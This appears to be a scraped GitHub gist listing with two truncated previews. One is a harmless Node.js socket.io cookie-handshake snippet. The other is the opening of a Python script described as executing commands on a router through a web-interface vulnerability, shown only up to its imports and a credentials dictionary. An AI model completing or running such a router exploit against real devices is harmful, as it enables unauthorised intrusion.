This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Send cookies for the socket.io handshake (sails.js) | |
// Based on https://gist.github.com/jfromaniello/4087861 | |
// Socket.io open ticket (started by jfromaniello): | |
// https://github.com/LearnBoost/socket.io-client/pull/512 | |
var io = require('socket.io-client'); | |
var request = require('request'); | |
var xhr = require('socket.io-client/node_modules/xmlhttprequest'); | |
var xhrOriginal = require('xmlhttprequest'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
Execute commands in the router by exploiting a vulnerability in its web interface. | |
Set your credentials in the `conf` variable. | |
""" | |
import requests | |
import sys | |
conf = { | |
'username': 'TELMEX', |